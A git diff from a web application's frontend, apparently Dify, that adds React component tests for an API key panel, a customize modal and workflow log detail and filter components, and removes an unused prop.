diff --git a/web/app/components/app/overview/apikey-info-panel/index.spec.tsx b/web/app/components/app/overview/apikey-info-panel/index.spec.tsx
new file mode 100644
index 0000000000..62eeb4299e
--- /dev/null
+++ b/web/app/components/app/overview/apikey-info-panel/index.spec.tsx
@@ -0,0 +1,162 @@
+import { cleanup, screen } from '@testing-library/react'
+import { ACCOUNT_SETTING_TAB } from '@/app/components/header/account-setting/constants'
+import {
+  assertions,
+  clearAllMocks,
+  defaultModalContext,
+  interactions,
+  mockUseModalContext,
+  scenarios,
+  textKeys,
+} from './apikey-info-panel.test-utils'
+
+// Mock config for CE edition
+jest.mock('@/config', () => ({
+  IS_CE_EDITION: true, // Test CE edition by default
+}))
+
+afterEach(cleanup)
+
+describe('APIKeyInfoPanel - Community Edition', () => {
+  const mockSetShowAccountSettingModal = jest.fn()
+
+  beforeEach(() => {
+    clearAllMocks()
+    mockUseModalContext.mockReturnValue({
+      ...defaultModalContext,
+      setShowAccountSettingModal: mockSetShowAccountSettingModal,
+    })
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing when API key is not set', () => {
+      scenarios.withAPIKeyNotSet()
+      assertions.shouldRenderMainButton()
+    })
+
+    it('should not render when API key is already set', () => {
+      const { container } = scenarios.withAPIKeySet()
+      assertions.shouldNotRender(container)
+    })
+
+    it('should not render when panel is hidden by user', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      interactions.clickCloseButton(container)
+      assertions.shouldNotRender(container)
+    })
+  })
+
+  describe('Content Display', () => {
+    it('should display self-host title content', () => {
+      scenarios.withAPIKeyNotSet()
+
+      expect(screen.getByText(textKeys.selfHost.titleRow1)).toBeInTheDocument()
+      expect(screen.getByText(textKeys.selfHost.titleRow2)).toBeInTheDocument()
+    })
+
+    it('should display set API button text', () => {
+      scenarios.withAPIKeyNotSet()
+      expect(screen.getByText(textKeys.selfHost.setAPIBtn)).toBeInTheDocument()
+    })
+
+    it('should render external link with correct href for self-host version', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      const link = container.querySelector('a[href="https://cloud.dify.ai/apps"]')
+
+      expect(link).toBeInTheDocument()
+      expect(link).toHaveAttribute('target', '_blank')
+      expect(link).toHaveAttribute('rel', 'noopener noreferrer')
+      expect(link).toHaveTextContent(textKeys.selfHost.tryCloud)
+    })
+
+    it('should have external link with proper styling for self-host version', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      const link = container.querySelector('a[href="https://cloud.dify.ai/apps"]')
+
+      expect(link).toHaveClass(
+        'mt-2',
+        'flex',
+        'h-[26px]',
+        'items-center',
+        'space-x-1',
+        'p-1',
+        'text-xs',
+        'font-medium',
+        'text-[#155EEF]',
+      )
+    })
+  })
+
+  describe('User Interactions', () => {
+    it('should call setShowAccountSettingModal when set API button is clicked', () => {
+      scenarios.withMockModal(mockSetShowAccountSettingModal)
+
+      interactions.clickMainButton()
+
+      expect(mockSetShowAccountSettingModal).toHaveBeenCalledWith({
+        payload: ACCOUNT_SETTING_TAB.PROVIDER,
+      })
+    })
+
+    it('should hide panel when close button is clicked', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      expect(container.firstChild).toBeInTheDocument()
+
+      interactions.clickCloseButton(container)
+      assertions.shouldNotRender(container)
+    })
+  })
+
+  describe('Props and Styling', () => {
+    it('should render button with primary variant', () => {
+      scenarios.withAPIKeyNotSet()
+      const button = screen.getByRole('button')
+      expect(button).toHaveClass('btn-primary')
+    })
+
+    it('should render panel container with correct classes', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      const panel = container.firstChild as HTMLElement
+      assertions.shouldHavePanelStyling(panel)
+    })
+  })
+
+  describe('State Management', () => {
+    it('should start with visible panel (isShow: true)', () => {
+      scenarios.withAPIKeyNotSet()
+      assertions.shouldRenderMainButton()
+    })
+
+    it('should toggle visibility when close button is clicked', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      expect(container.firstChild).toBeInTheDocument()
+
+      interactions.clickCloseButton(container)
+      assertions.shouldNotRender(container)
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle provider context loading state', () => {
+      scenarios.withAPIKeyNotSet({
+        providerContext: {
+          modelProviders: [],
+          textGenerationModelList: [],
+        },
+      })
+      assertions.shouldRenderMainButton()
+    })
+  })
+
+  describe('Accessibility', () => {
+    it('should have button with proper role', () => {
+      scenarios.withAPIKeyNotSet()
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+
+    it('should have clickable close button', () => {
+      const { container } = scenarios.withAPIKeyNotSet()
+      assertions.shouldHaveCloseButton(container)
+    })
+  })
+})
diff --git a/web/app/components/app/overview/app-card.tsx b/web/app/components/app/overview/app-card.tsx
index a0f5780b71..15762923ff 100644
--- a/web/app/components/app/overview/app-card.tsx
+++ b/web/app/components/app/overview/app-card.tsx
@@ -401,7 +401,6 @@ function AppCard({
             />
             <CustomizeModal
               isShow={showCustomizeModal}
-              linkUrl=""
               onClose={() => setShowCustomizeModal(false)}
               appId={appInfo.id}
               api_base_url={appInfo.api_base_url}
diff --git a/web/app/components/app/overview/customize/index.spec.tsx b/web/app/components/app/overview/customize/index.spec.tsx
new file mode 100644
index 0000000000..c960101b66
--- /dev/null
+++ b/web/app/components/app/overview/customize/index.spec.tsx
@@ -0,0 +1,434 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import CustomizeModal from './index'
+import { AppModeEnum } from '@/types/app'
+
+// Mock useDocLink from context
+const mockDocLink = jest.fn((path?: string) => `https://docs.dify.ai/en-US${path || ''}`)
+jest.mock('@/context/i18n', () => ({
+  useDocLink: () => mockDocLink,
+}))
+
+// Mock window.open
+const mockWindowOpen = jest.fn()
+Object.defineProperty(window, 'open', {
+  value: mockWindowOpen,
+  writable: true,
+})
+
+describe('CustomizeModal', () => {
+  const defaultProps = {
+    isShow: true,
+    onClose: jest.fn(),
+    api_base_url: 'https://api.example.com',
+    appId: 'test-app-id-123',
+    mode: AppModeEnum.CHAT,
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering tests - verify component renders correctly with various configurations
+  describe('Rendering', () => {
+    it('should render without crashing when isShow is true', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('appOverview.overview.appInfo.customize.title')).toBeInTheDocument()
+      })
+    })
+
+    it('should not render content when isShow is false', async () => {
+      // Arrange
+      const props = { ...defaultProps, isShow: false }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.queryByText('appOverview.overview.appInfo.customize.title')).not.toBeInTheDocument()
+      })
+    })
+
+    it('should render modal description', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('appOverview.overview.appInfo.customize.explanation')).toBeInTheDocument()
+      })
+    })
+
+    it('should render way 1 and way 2 tags', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('appOverview.overview.appInfo.customize.way 1')).toBeInTheDocument()
+        expect(screen.getByText('appOverview.overview.appInfo.customize.way 2')).toBeInTheDocument()
+      })
+    })
+
+    it('should render all step numbers (1, 2, 3)', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('1')).toBeInTheDocument()
+        expect(screen.getByText('2')).toBeInTheDocument()
+        expect(screen.getByText('3')).toBeInTheDocument()
+      })
+    })
+
+    it('should render step instructions', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('appOverview.overview.appInfo.customize.way1.step1')).toBeInTheDocument()
+        expect(screen.getByText('appOverview.overview.appInfo.customize.way1.step2')).toBeInTheDocument()
+        expect(screen.getByText('appOverview.overview.appInfo.customize.way1.step3')).toBeInTheDocument()
+      })
+    })
+
+    it('should render environment variables with appId and api_base_url', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const preElement = screen.getByText(/NEXT_PUBLIC_APP_ID/i).closest('pre')
+        expect(preElement).toBeInTheDocument()
+        expect(preElement?.textContent).toContain('NEXT_PUBLIC_APP_ID=\'test-app-id-123\'')
+        expect(preElement?.textContent).toContain('NEXT_PUBLIC_API_URL=\'https://api.example.com\'')
+      })
+    })
+
+    it('should render GitHub icon in step 1 button', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert - find the GitHub link and verify it contains an SVG icon
+      await waitFor(() => {
+        const githubLink = screen.getByRole('link', { name: /step1Operation/i })
+        expect(githubLink).toBeInTheDocument()
+        expect(githubLink.querySelector('svg')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // Props tests - verify props are correctly applied
+  describe('Props', () => {
+    it('should display correct appId in environment variables', async () => {
+      // Arrange
+      const customAppId = 'custom-app-id-456'
+      const props = { ...defaultProps, appId: customAppId }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const preElement = screen.getByText(/NEXT_PUBLIC_APP_ID/i).closest('pre')
+        expect(preElement?.textContent).toContain(`NEXT_PUBLIC_APP_ID='${customAppId}'`)
+      })
+    })
+
+    it('should display correct api_base_url in environment variables', async () => {
+      // Arrange
+      const customApiUrl = 'https://custom-api.example.com'
+      const props = { ...defaultProps, api_base_url: customApiUrl }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const preElement = screen.getByText(/NEXT_PUBLIC_API_URL/i).closest('pre')
+        expect(preElement?.textContent).toContain(`NEXT_PUBLIC_API_URL='${customApiUrl}'`)
+      })
+    })
+  })
+
+  // Mode-based conditional rendering tests - verify GitHub link changes based on app mode
+  describe('Mode-based GitHub link', () => {
+    it('should link to webapp-conversation repo for CHAT mode', async () => {
+      // Arrange
+      const props = { ...defaultProps, mode: AppModeEnum.CHAT }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const githubLink = screen.getByRole('link', { name: /step1Operation/i })
+        expect(githubLink).toHaveAttribute('href', 'https://github.com/langgenius/webapp-conversation')
+      })
+    })
+
+    it('should link to webapp-conversation repo for ADVANCED_CHAT mode', async () => {
+      // Arrange
+      const props = { ...defaultProps, mode: AppModeEnum.ADVANCED_CHAT }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const githubLink = screen.getByRole('link', { name: /step1Operation/i })
+        expect(githubLink).toHaveAttribute('href', 'https://github.com/langgenius/webapp-conversation')
+      })
+    })
+
+    it('should link to webapp-text-generator repo for COMPLETION mode', async () => {
+      // Arrange
+      const props = { ...defaultProps, mode: AppModeEnum.COMPLETION }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const githubLink = screen.getByRole('link', { name: /step1Operation/i })
+        expect(githubLink).toHaveAttribute('href', 'https://github.com/langgenius/webapp-text-generator')
+      })
+    })
+
+    it('should link to webapp-text-generator repo for WORKFLOW mode', async () => {
+      // Arrange
+      const props = { ...defaultProps, mode: AppModeEnum.WORKFLOW }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const githubLink = screen.getByRole('link', { name: /step1Operation/i })
+        expect(githubLink).toHaveAttribute('href', 'https://github.com/langgenius/webapp-text-generator')
+      })
+    })
+
+    it('should link to webapp-text-generator repo for AGENT_CHAT mode', async () => {
+      // Arrange
+      const props = { ...defaultProps, mode: AppModeEnum.AGENT_CHAT }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const githubLink = screen.getByRole('link', { name: /step1Operation/i })
+        expect(githubLink).toHaveAttribute('href', 'https://github.com/langgenius/webapp-text-generator')
+      })
+    })
+  })
+
+  // External links tests - verify external links have correct security attributes
+  describe('External links', () => {
+    it('should have GitHub repo link that opens in new tab', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const githubLink = screen.getByRole('link', { name: /step1Operation/i })
+        expect(githubLink).toHaveAttribute('target', '_blank')
+        expect(githubLink).toHaveAttribute('rel', 'noopener noreferrer')
+      })
+    })
+
+    it('should have Vercel docs link that opens in new tab', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const vercelLink = screen.getByRole('link', { name: /step2Operation/i })
+        expect(vercelLink).toHaveAttribute('href', 'https://vercel.com/docs/concepts/deployments/git/vercel-for-github')
+        expect(vercelLink).toHaveAttribute('target', '_blank')
+        expect(vercelLink).toHaveAttribute('rel', 'noopener noreferrer')
+      })
+    })
+  })
+
+  // User interactions tests - verify user actions trigger expected behaviors
+  describe('User Interactions', () => {
+    it('should call window.open with doc link when way 2 button is clicked', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      await waitFor(() => {
+        expect(screen.getByText('appOverview.overview.appInfo.customize.way2.operation')).toBeInTheDocument()
+      })
+
+      const way2Button = screen.getByText('appOverview.overview.appInfo.customize.way2.operation').closest('button')
+      expect(way2Button).toBeInTheDocument()
+      fireEvent.click(way2Button!)
+
+      // Assert
+      expect(mockWindowOpen).toHaveBeenCalledTimes(1)
+      expect(mockWindowOpen).toHaveBeenCalledWith(
+        expect.stringContaining('/guides/application-publishing/developing-with-apis'),
+        '_blank',
+      )
+    })
+
+    it('should call onClose when modal close button is clicked', async () => {
+      // Arrange
+      const onClose = jest.fn()
+      const props = { ...defaultProps, onClose }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Wait for modal to be fully rendered
+      await waitFor(() => {
+        expect(screen.getByText('appOverview.overview.appInfo.customize.title')).toBeInTheDocument()
+      })
+
+      // Find the close button by navigating from the heading to the close icon
+      // The close icon is an SVG inside a sibling div of the title
+      const heading = screen.getByRole('heading', { name: /customize\.title/i })
+      const closeIcon = heading.parentElement!.querySelector('svg')
+
+      // Assert - closeIcon must exist for the test to be valid
+      expect(closeIcon).toBeInTheDocument()
+      fireEvent.click(closeIcon!)
+      expect(onClose).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  // Edge cases tests - verify component handles boundary conditions
+  describe('Edge Cases', () => {
+    it('should handle empty appId', async () => {
+      // Arrange
+      const props = { ...defaultProps, appId: '' }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const preElement = screen.getByText(/NEXT_PUBLIC_APP_ID/i).closest('pre')
+        expect(preElement?.textContent).toContain('NEXT_PUBLIC_APP_ID=\'\'')
+      })
+    })
+
+    it('should handle empty api_base_url', async () => {
+      // Arrange
+      const props = { ...defaultProps, api_base_url: '' }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const preElement = screen.getByText(/NEXT_PUBLIC_API_URL/i).closest('pre')
+        expect(preElement?.textContent).toContain('NEXT_PUBLIC_API_URL=\'\'')
+      })
+    })
+
+    it('should handle special characters in appId', async () => {
+      // Arrange
+      const specialAppId = 'app-id-with-special-chars_123'
+      const props = { ...defaultProps, appId: specialAppId }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const preElement = screen.getByText(/NEXT_PUBLIC_APP_ID/i).closest('pre')
+        expect(preElement?.textContent).toContain(`NEXT_PUBLIC_APP_ID='${specialAppId}'`)
+      })
+    })
+
+    it('should handle URL with special characters in api_base_url', async () => {
+      // Arrange
+      const specialApiUrl = 'https://api.example.com:8080/v1'
+      const props = { ...defaultProps, api_base_url: specialApiUrl }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        const preElement = screen.getByText(/NEXT_PUBLIC_API_URL/i).closest('pre')
+        expect(preElement?.textContent).toContain(`NEXT_PUBLIC_API_URL='${specialApiUrl}'`)
+      })
+    })
+  })
+
+  // StepNum component tests - verify step number styling
+  describe('StepNum component', () => {
+    it('should render step numbers with correct styling class', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert - The StepNum component is the direct container of the text
+      await waitFor(() => {
+        const stepNumber1 = screen.getByText('1')
+        expect(stepNumber1).toHaveClass('rounded-2xl')
+      })
+    })
+  })
+
+  // GithubIcon component tests - verify GitHub icon renders correctly
+  describe('GithubIcon component', () => {
+    it('should render GitHub icon SVG within GitHub link button', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<CustomizeModal {...props} />)
+
+      // Assert - Find GitHub link and verify it contains an SVG icon with expected class
+      await waitFor(() => {
+        const githubLink = screen.getByRole('link', { name: /step1Operation/i })
+        const githubIcon = githubLink.querySelector('svg')
+        expect(githubIcon).toBeInTheDocument()
+        expect(githubIcon).toHaveClass('text-text-secondary')
+      })
+    })
+  })
+})
diff --git a/web/app/components/app/overview/customize/index.tsx b/web/app/components/app/overview/customize/index.tsx
index e440a8cf26..698bc98efd 100644
--- a/web/app/components/app/overview/customize/index.tsx
+++ b/web/app/components/app/overview/customize/index.tsx
@@ -12,7 +12,6 @@ import Tag from '@/app/components/base/tag'
 type IShareLinkProps = {
   isShow: boolean
   onClose: () => void
-  linkUrl: string
   api_base_url: string
   appId: string
   mode: AppModeEnum
diff --git a/web/app/components/app/workflow-log/detail.spec.tsx b/web/app/components/app/workflow-log/detail.spec.tsx
new file mode 100644
index 0000000000..b594be5f04
--- /dev/null
+++ b/web/app/components/app/workflow-log/detail.spec.tsx
@@ -0,0 +1,319 @@
+/**
+ * DetailPanel Component Tests
+ *
+ * Tests the workflow run detail panel which displays:
+ * - Workflow run title
+ * - Replay button (when canReplay is true)
+ * - Close button
+ * - Run component with detail/tracing URLs
+ */
+
+import { render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import DetailPanel from './detail'
+import { useStore as useAppStore } from '@/app/components/app/store'
+import type { App, AppIconType, AppModeEnum } from '@/types/app'
+
+// ============================================================================
+// Mocks
+// ============================================================================
+
+const mockRouterPush = jest.fn()
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({
+    push: mockRouterPush,
+  }),
+}))
+
+// Mock the Run component as it has complex dependencies
+jest.mock('@/app/components/workflow/run', () => ({
+  __esModule: true,
+  default: ({ runDetailUrl, tracingListUrl }: { runDetailUrl: string; tracingListUrl: string }) => (
+    <div data-testid="workflow-run">
+      <span data-testid="run-detail-url">{runDetailUrl}</span>
+      <span data-testid="tracing-list-url">{tracingListUrl}</span>
+    </div>
+  ),
+}))
+
+// Mock WorkflowContextProvider
+jest.mock('@/app/components/workflow/context', () => ({
+  WorkflowContextProvider: ({ children }: { children: React.ReactNode }) => (
+    <div data-testid="workflow-context-provider">{children}</div>
+  ),
+}))
+
+// Mock ahooks for useBoolean (used by TooltipPlus)
+jest.mock('ahooks', () => ({
+  useBoolean: (initial: boolean) => {
+    const setters = {
+      setTrue: jest.fn(),
+      setFalse: jest.fn(),
+      toggle: jest.fn(),
+    }
+    return [initial, setters] as const
+  },
+}))
+
+// ============================================================================
+// Test Data Factories
+// ============================================================================
+
+const createMockApp = (overrides: Partial<App> = {}): App => ({
+  id: 'test-app-id',
+  name: 'Test App',
+  description: 'Test app description',
+  author_name: 'Test Author',
+  icon_type: 'emoji' as AppIconType,
+  icon: '🚀',
+  icon_background: '#FFEAD5',
+  icon_url: null,
+  use_icon_as_answer_icon: false,
+  mode: 'workflow' as AppModeEnum,
+  enable_site: true,
+  enable_api: true,
+  api_rpm: 60,
+  api_rph: 3600,
+  is_demo: false,
+  model_config: {} as App['model_config'],
+  app_model_config: {} as App['app_model_config'],
+  created_at: Date.now(),
+  updated_at: Date.now(),
+  site: {
+    access_token: 'token',
+    app_base_url: 'https://example.com',
+  } as App['site'],
+  api_base_url: 'https://api.example.com',
+  tags: [],
+  access_mode: 'public_access' as App['access_mode'],
+  ...overrides,
+})
+
+// ============================================================================
+// Tests
+// ============================================================================
+
+describe('DetailPanel', () => {
+  const defaultOnClose = jest.fn()
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+    useAppStore.setState({ appDetail: createMockApp() })
+  })
+
+  // --------------------------------------------------------------------------
+  // Rendering Tests (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
+
+      expect(screen.getByText('appLog.runDetail.workflowTitle')).toBeInTheDocument()
+    })
+
+    it('should render workflow title', () => {
+      render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
+
+      expect(screen.getByText('appLog.runDetail.workflowTitle')).toBeInTheDocument()
+    })
+
+    it('should render close button', () => {
+      const { container } = render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
+
+      // Close button has RiCloseLine icon
+      const closeButton = container.querySelector('span.cursor-pointer')
+      expect(closeButton).toBeInTheDocument()
+    })
+
+    it('should render Run component with correct URLs', () => {
+      useAppStore.setState({ appDetail: createMockApp({ id: 'app-456' }) })
+
+      render(<DetailPanel runID="run-789" onClose={defaultOnClose} />)
+
+      expect(screen.getByTestId('workflow-run')).toBeInTheDocument()
+      expect(screen.getByTestId('run-detail-url')).toHaveTextContent('/apps/app-456/workflow-runs/run-789')
+      expect(screen.getByTestId('tracing-list-url')).toHaveTextContent('/apps/app-456/workflow-runs/run-789/node-executions')
+    })
+
+    it('should render WorkflowContextProvider wrapper', () => {
+      render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
+
+      expect(screen.getByTestId('workflow-context-provider')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Props Tests (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Props', () => {
+    it('should not render replay button when canReplay is false (default)', () => {
+      render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
+
+      expect(screen.queryByRole('button', { name: 'appLog.runDetail.testWithParams' })).not.toBeInTheDocument()
+    })
+
+    it('should render replay button when canReplay is true', () => {
+      render(<DetailPanel runID="run-123" onClose={defaultOnClose} canReplay={true} />)
+
+      expect(screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })).toBeInTheDocument()
+    })
+
+    it('should use empty URL when runID is empty', () => {
+      render(<DetailPanel runID="" onClose={defaultOnClose} />)
+
+      expect(screen.getByTestId('run-detail-url')).toHaveTextContent('')
+      expect(screen.getByTestId('tracing-list-url')).toHaveTextContent('')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // User Interactions
+  // --------------------------------------------------------------------------
+  describe('User Interactions', () => {
+    it('should call onClose when close button is clicked', async () => {
+      const user = userEvent.setup()
+      const onClose = jest.fn()
+
+      const { container } = render(<DetailPanel runID="run-123" onClose={onClose} />)
+
+      const closeButton = container.querySelector('span.cursor-pointer')
+      expect(closeButton).toBeInTheDocument()
+
+      await user.click(closeButton!)
+
+      expect(onClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should navigate to workflow page with replayRunId when replay button is clicked', async () => {
+      const user = userEvent.setup()
+      useAppStore.setState({ appDetail: createMockApp({ id: 'app-replay-test' }) })
+
+      render(<DetailPanel runID="run-to-replay" onClose={defaultOnClose} canReplay={true} />)
+
+      const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
+      await user.click(replayButton)
+
+      expect(mockRouterPush).toHaveBeenCalledWith('/app/app-replay-test/workflow?replayRunId=run-to-replay')
+    })
+
+    it('should not navigate when replay clicked but appDetail is missing', async () => {
+      const user = userEvent.setup()
+      useAppStore.setState({ appDetail: undefined })
+
+      render(<DetailPanel runID="run-123" onClose={defaultOnClose} canReplay={true} />)
+
+      const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
+      await user.click(replayButton)
+
+      expect(mockRouterPush).not.toHaveBeenCalled()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // URL Generation Tests
+  // --------------------------------------------------------------------------
+  describe('URL Generation', () => {
+    it('should generate correct run detail URL', () => {
+      useAppStore.setState({ appDetail: createMockApp({ id: 'my-app' }) })
+
+      render(<DetailPanel runID="my-run" onClose={defaultOnClose} />)
+
+      expect(screen.getByTestId('run-detail-url')).toHaveTextContent('/apps/my-app/workflow-runs/my-run')
+    })
+
+    it('should generate correct tracing list URL', () => {
+      useAppStore.setState({ appDetail: createMockApp({ id: 'my-app' }) })
+
+      render(<DetailPanel runID="my-run" onClose={defaultOnClose} />)
+
+      expect(screen.getByTestId('tracing-list-url')).toHaveTextContent('/apps/my-app/workflow-runs/my-run/node-executions')
+    })
+
+    it('should handle special characters in runID', () => {
+      useAppStore.setState({ appDetail: createMockApp({ id: 'app-id' }) })
+
+      render(<DetailPanel runID="run-with-special-123" onClose={defaultOnClose} />)
+
+      expect(screen.getByTestId('run-detail-url')).toHaveTextContent('/apps/app-id/workflow-runs/run-with-special-123')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Store Integration Tests
+  // --------------------------------------------------------------------------
+  describe('Store Integration', () => {
+    it('should read appDetail from store', () => {
+      useAppStore.setState({ appDetail: createMockApp({ id: 'store-app-id' }) })
+
+      render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
+
+      expect(screen.getByTestId('run-detail-url')).toHaveTextContent('/apps/store-app-id/workflow-runs/run-123')
+    })
+
+    it('should handle undefined appDetail from store gracefully', () => {
+      useAppStore.setState({ appDetail: undefined })
+
+      render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
+
+      // Run component should still render but with undefined in URL
+      expect(screen.getByTestId('workflow-run')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Edge Cases', () => {
+    it('should handle empty runID', () => {
+      render(<DetailPanel runID="" onClose={defaultOnClose} />)
+
+      expect(screen.getByTestId('run-detail-url')).toHaveTextContent('')
+      expect(screen.getByTestId('tracing-list-url')).toHaveTextContent('')
+    })
+
+    it('should handle very long runID', () => {
+      const longRunId = 'a'.repeat(100)
+      useAppStore.setState({ appDetail: createMockApp({ id: 'app-id' }) })
+
+      render(<DetailPanel runID={longRunId} onClose={defaultOnClose} />)
+
+      expect(screen.getByTestId('run-detail-url')).toHaveTextContent(`/apps/app-id/workflow-runs/${longRunId}`)
+    })
+
+    it('should render replay button with correct aria-label', () => {
+      render(<DetailPanel runID="run-123" onClose={defaultOnClose} canReplay={true} />)
+
+      const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
+      expect(replayButton).toHaveAttribute('aria-label', 'appLog.runDetail.testWithParams')
+    })
+
+    it('should maintain proper component structure', () => {
+      const { container } = render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
+
+      // Check for main container with flex layout
+      const mainContainer = container.querySelector('.flex.grow.flex-col')
+      expect(mainContainer).toBeInTheDocument()
+
+      // Check for header section
+      const header = container.querySelector('.flex.items-center.bg-components-panel-bg')
+      expect(header).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Tooltip Tests
+  // --------------------------------------------------------------------------
+  describe('Tooltip', () => {
+    it('should have tooltip on replay button', () => {
+      render(<DetailPanel runID="run-123" onClose={defaultOnClose} canReplay={true} />)
+
+      // The replay button should be wrapped in TooltipPlus
+      const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
+      expect(replayButton).toBeInTheDocument()
+
+      // TooltipPlus wraps the button with popupContent
+      // We verify the button exists with the correct aria-label
+      expect(replayButton).toHaveAttribute('type', 'button')
+    })
+  })
+})
diff --git a/web/app/components/app/workflow-log/filter.spec.tsx b/web/app/components/app/workflow-log/filter.spec.tsx
new file mode 100644
index 0000000000..d7bec41224
--- /dev/null
+++ b/web/app/components/app/workflow-log/filter.spec.tsx
@@ -0,0 +1,527 @@
+/**
+ * Filter Component Tests
+ *
+ * Tests the workflow log filter component which provides:
+ * - Status filtering (all, succeeded, failed, stopped, partial-succeeded)
+ * - Time period selection
+ * - Keyword search
+ */
+
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import Filter, { TIME_PERIOD_MAPPING } from './filter'
+import type { QueryParam } from './index'
+
+// ============================================================================
+// Mocks
+// ============================================================================
+
+const mockTrackEvent = jest.fn()
+jest.mock('@/app/components/base/amplitude/utils', () => ({
+  trackEvent: (...args: unknown[]) => mockTrackEvent(...args),
+}))
+
+// ============================================================================
+// Test Data Factories
+// ============================================================================
+
+const createDefaultQueryParams = (overrides: Partial<QueryParam> = {}): QueryParam => ({
+  status: 'all',
+  period: '2', // default to last 7 days
+  ...overrides,
+})
+
+// ============================================================================
+// Tests
+// ============================================================================
+
+describe('Filter', () => {
+  const defaultSetQueryParams = jest.fn()
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // --------------------------------------------------------------------------
+  // Rendering Tests (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams()}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      // Should render status chip, period chip, and search input
